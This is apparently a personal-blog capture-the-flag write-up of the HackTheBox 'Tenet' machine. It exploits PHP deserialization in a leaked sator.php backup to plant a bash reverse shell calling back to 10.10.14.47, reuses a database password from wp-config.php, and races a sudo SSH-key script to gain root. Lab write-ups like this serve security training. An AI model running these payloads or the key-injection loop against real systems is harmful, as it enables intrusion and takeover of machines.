___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Hackthebox Tenet - Writeup

Nmap Scan

Enumeration

Port 80 - wordpress blogsite

Looking around the site, we find a comment by a user neil on the post “Migration”. The comment is as follows:

did you remove the sator php file and the backup?? the migration program is
incomplete! why would you do this?!

So, there is some sort of a backup site and a file called sator.php(?). Fuzzing for the file in tenet.htb, we couldn’t find anything.

There might be virtual hosting on the site. So we try adding sator.tenet.htb to our /etc/hosts file. And going over to sator.tenet.htb, we find the apache2 default webpage. Now, going to the URI http://sator.tenet.htb/sator.php, we find the following.

So the php file is there, and it is getting executed. Since, there was a mention of some backup, we try getting the file sator.php.bak. And we see that, it does have a file in the same name. We download it to our local machine

wget http://sator.tenet.htb/sator.php.bak

And analyze the code.

// sator.php
<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file,
$this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

Here we see that the script looks for a GET input variable arepo and unserializes it. We might be able to exploit it using PHP Object Deserialization. Here is a blogpost on this topic that has a detail explanation.

Here is a class called DatabaseExport with a __destruct function implemented. This function is what we can use to get RCE. The function uses file_put_contents to write the variable data to the file defined in the variable user_file. If we go over to the URI sator.tenet.htb/users.txt, we see that the file exists and prints SUCCESS.

Now, to exploit this, we can do the following:

  1. We write the class DatabaseExport on our local machine, define user_file to be a php file and the data to be a php reverse shell to our local machine.

  2. We serialize our defined class and pass it as input to the GET variable variable.

  3. The input gets passed to deserialize and a new instance of the class is created with our defined variables.

  4. At the __destruct function, our reverse shell gets written to the root of the web directory to the filename defined by us(rce.php in my case). Now if we go to the URI of the file, we can get a reverse shell.

So now, we write the class, serilize it and urlencode it to pass to the GET variable. We open a php interactive cli using

php -a

we write the following

class DatabaseExport {
  public $user_file = 'rce.php';
  public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.47/5555 0>&1\'"); ?>';
  }

print urlencode(serialize(new DatabaseExport));

We copy the output of the print command and pass it to the GET variable using curl.

curl -i http://sator.tenet.htb/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.47%2F5555+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D

We open a nc listener on port 5555 and get a reverse shell by browsing the URI http://sator.tenet.htb/rce.php.

nc -lnvp 5555

Privilege Escalation - User

We find ourselves in the html directory. Going over to the wordpressdirectory, we find the config file wp-config.php. Cat-ing out the contents, we find a password for the user neil

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

Creds found:

neil: Opera2112

We ssh into user neil.

Privilege Escalation - Root

Root privilege escalation is pretty straight forward.

We check what sudo capabilities our user has got using sudo -l and find the following.

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

We have read permissions for the file /usr/local/bin/enableSSH.sh. Checking the file, the following function is interesting.

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

What this script does is writes a id_rsa.pub key defined in key to a randomly generated file of format /tmp/ssh-XXXXXXXX and then copies the contents of the file to the known_hosts of the root. And then deletes the tmp file.

So, if we can write our own ssh key to the tmp file before it gets copied to known_hosts, our key will get written to known_hosts and we can ssh into root. So we write an infinite while loop in bash that continuously writes our ssh key to any file of format /tmp/ssh-XXXXXXXX using wild character. And while this runs, we run the script as sudo a number of times as we cannot be sure, if the key got written before the file getting removed.

while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhwQE3BL3VcaiJcQ3X6pEF841mBSpD*************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************IGnYgLXPDKmIwqC2nngvAVo7BLa+YzHy+9fuMs= root@kali" | tee /tmp/ssh* > /dev/null; done
sudo /usr/local/bin/enableSSH.sh

After running the script for a number of times, we check if we cann ssh into root. And yes, we got in.